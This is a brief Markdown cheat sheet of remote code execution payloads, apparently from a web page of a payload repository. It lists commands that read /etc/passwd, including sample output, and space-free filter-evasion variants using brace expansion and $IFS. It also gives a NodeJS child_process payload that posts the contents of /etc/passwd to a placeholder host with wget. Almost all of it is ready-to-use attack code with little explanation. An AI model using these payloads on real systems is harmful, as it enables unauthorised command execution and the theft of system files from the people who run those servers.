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25 lines
520 B
Markdown
25 lines
520 B
Markdown
# Remote Code Execution
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Remote code execution is a security vulnerability that allows an attacker to execute codes from a remote server.
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## Vuln
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Normal code execution
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```
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cat /etc/passwd
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root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh
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```
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Code execution without space
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```
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{cat,/etc/passwd}
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cat$IFS/etc/passwd
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```
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NodeJS Code execution
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```
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require('child_process').exec('wget+--post-data+"x=$(cat+/etc/passwd)"+HOST')
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```
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## Thanks to
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* |